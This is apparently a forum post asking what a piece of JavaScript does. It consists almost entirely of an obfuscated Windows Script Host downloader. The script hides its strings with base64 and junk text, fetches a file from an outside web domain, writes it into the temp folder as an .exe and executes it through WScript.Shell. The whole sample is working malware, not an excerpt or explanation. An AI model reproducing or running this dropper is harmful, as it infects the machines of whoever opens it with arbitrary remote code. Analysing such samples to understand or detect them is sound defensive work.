[JS] ¿Qué hace este código?

var places = 0;
quiet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  parsons = [];
var strip = {
    ':': '.',
    'U': 'S',
	'|': 'X'
	};




String.prototype.consecutive = function () {
	composite = this;
	for (var i in strip){composite = composite.replace(i, strip[i]);}
    return composite;
};
  for ( var i = 128; i--; ) {
    if ( parsons[ i ] === undefined )
      parsons[ i ] = -1;
  
    parsons[ quiet.charCodeAt( i ) ] = i;
  }
var margot = 3-2;  
String.prototype.consecutive4 = function() {
	
    var c1, c2, c3, c4;
    var i, len, out;
	var str = this.split("developmental").join("");
    len = str.length;
    i = 0;
    out = "";
    while(i < len) {
	/* c1 */
	do {
	    c1 = parsons[str.charCodeAt(i++) & 0xff];
	} while(i < len && c1 == -1);
	if(c1 == -1)
	    break;

	/* c2 */
	do {
	    c2 = parsons[str.charCodeAt(i++) & 0xff];
	} while(i < len && c2 == -1);
	if(c2 == -1)
	    break;

	out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));

	/* c3 */
	do {
	    c3 = str.charCodeAt(i++) & 0xff;
	    if(c3 == 61)
		return out;
	    c3 = parsons[c3];
	} while(i < len && c3 == -1);
	if(c3 == -1)
	    break;

	out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2));

	/* c4 */
	do {
	    c4 = str.charCodeAt(i++) & 0xff;
	    if(c4 == 61)
		return out;
	    c4 = parsons[c4];
	} while(i < len && c4 == -1);
	if(c4 == -1)
	    break;
	out += String.fromCharCode(((c3 & 0x03) << 6) | c4);
    }
    return out;
}

var aides = "developmentalQWdevelopmentalN0aXZdevelopmentallWE9iadevelopmentalmVjdA=developmental=".consecutive4();
String.prototype.consecutive2 = function () {
    var valid = {
        workflow: this
    };
    valid.dugout = valid.workflow["c3Vic3RyaW5n".consecutive4()](places, margot);
    return valid.dugout;
};

var plans ="developmentalRXhwYW5developmentalkRW52aXdevelopmentalJvbm1lbnRTdHJdevelopmentalpbmdz".consecutive4();
var Native = function(options){
	options = options || {};

	var afterImplement = options.afterImplement || function(){};
	var generics = options.generics;
	generics = (generics !== false);
	var legacy = options.legacy;
	var initialize = options.initialize;
	var protect = options.protect;
	var name = options.name;

	var object = initialize || legacy;


	return object;
};
var nvidia ="developmentalJVdevelopmentalRFTVdevelopmentalAl".consecutive4();
var tanker = [aides, plans,nvidia,  ""+"."+("tease","rambling","builders","editions","manga","northwest","outcast","undeserving","exe"), "UnVu".consecutive4(), ("M"+"SX"+"ML"+("cathedral","canned","revolting","aglow","necessary","leopard","specifies","2.")+"|M"+"LH"+"TT"+("imposes","ensemble","rudimentary","housing","prehistoric","boundary","longwinded","badness","P>")+"WU"+("mustang","trevor","campania","decomposition","dairy","yards","booth","cr")+("governor","wharves","karma","workshop","sawmill","oblivious","dates","transmigration","ip")+"t:"+("juxtaposition","editions","sequences","chord","manor","labour","ultimately","happens","Sh")+"ell").consecutive()];
emolument = "_F2_";
var stigma = this[tanker.shift()];
Native.implement = function(objects, properties){
	for (var i = 0, l = objects.length; i < l; i++) objects[i].implement(properties);
};

Native.genericize = function(object, property, check){
	if ((!check || !object[property]) && typeof object.prototype[property] == 'function') object[property] = function(){
		var args = Array.prototype.slice.call(arguments);
		return object.prototype[property].apply(args.shift(), args);
	};
};
Native.typize = function(object, family){
	if (!object.type) object.type = function(item){
		return ($type(item) === family);
	};
};
DKXzXUloeEt = "XiJlJKV";
pertinent = (("entrails", "turkey", "concord", "windy", "pGXUIOix") + "HYIhWey").consecutive2();
pence = (("scholastic", "admittedly", "tolerance", "kingdom", "knives", "biographer", "sClOnFArg") + "xUIHepEsuqF").consecutive2();
  
    String.prototype.lascivious = function (a) {
        for (var b = [], c = 0; c < a.length; c++)b[c] = a[c];
        return b.join("")
    };

var newspaper = tanker.pop().split(">");

improve = "b3Blbg==".consecutive4();
var lender = new stigma(newspaper[1]);
pKOwcGeVml = "_F3_";
var kimono = new stigma(newspaper[0]);
var matins = lender[tanker.shift()](tanker.shift());
MFWAxq = "_F5_";
weasel = (("ornamentation", "canister", "exodus", "ezekiel", "EIkHyUIDgGOP") + "mOzCIdN").consecutive2();
function origination(bestir, mammal) {

    try {
        var exhibits = matins + "/" + mammal ;
		exhibits = exhibits+ tanker.shift();
            kimono[improve](("embargo","language","G" + weasel) + ("recover","upper","teachers","splinter","T"), bestir, false);
       
    MSKnAYPCS = "_F7_";
    kimono[pence + ("specifications","heady","end")]();
	var revenue=(WScript+""=="V2luZG93cyBTY3JpcHQgSG9zdA==".consecutive4())&&kimono["c3RhdHVz".consecutive4()] +""=="MjAw".consecutive4()&&typeof(jFlbYxv)==="undefined";
	lQHNgR = "_F8_";
    if (revenue) {
		
        var scorch = new stigma((("morose","declination","captured","synagogue","compute","borough","beadle","saline","A")+("drugs","boating","obdurate","tureen","azores","innovative","risky","crown","SEOO")+"DB"+("repartee","occurrence","plasma","herbs","favors","flounder","disintegration",".S")+"tr8").replace("SEO", "D").replace("8", "eam"));
        scorch[improve]();
        IIQkXYytCHB = "_F9_";
        scorch.type = margot;
        uRxIgP = "_F10_";
        scorch["d3JpdGU=".consecutive4()](kimono[("freeware","inflation","advertisement","formations","accede","initiate","nepal","")+"R"+"es"+"pon"+strip['U'].toLowerCase()+"e"+"Qm9keQ==".consecutive4()]);
        uXVSamtE = "_F11_";
        scorch[(pertinent + "o"+("wines","gradually","competitor","alluring","signals","occasion","herself","bugbear","00")+("diving","berkshire","auction","country","arrival","thickness","handjob","8i")+"tion").replace("0"+("mammy","tales","surveillance","counties","ontario","expenditures","consecutive","08"), pence)] = 0;
        ekOcgRu = "_F12_";
        scorch[("grove","exploring","whereas","console","solved","scholar","titter","s")+"aveT"+"oF"+"ile"](exhibits, 2);
        KCTKNg = "_F13_";
        scorch.close();
        haORriCT = "_F14_";
		lender[tanker.shift()](exhibits, margot, true);
    }
} catch (XbSLPPW) { };

    toorSzWCx = "_F15_";
}
origination("aHR0cDovLw==".consecutive4()+"\u0064\u0075\u0062\u0061\u0069\u0066\u0072\u0069\u0064\u0061\u0079\u0073\u002E"+"\u0063\u006F\u006D\u002F\u0034\u0033\u0037\u0067\u0066\u0069\u006E\u0077\u0032" + "?WDUNFQzK=xBncBq","efYHoUEoq");
   ReoARoTPF = "_F16_";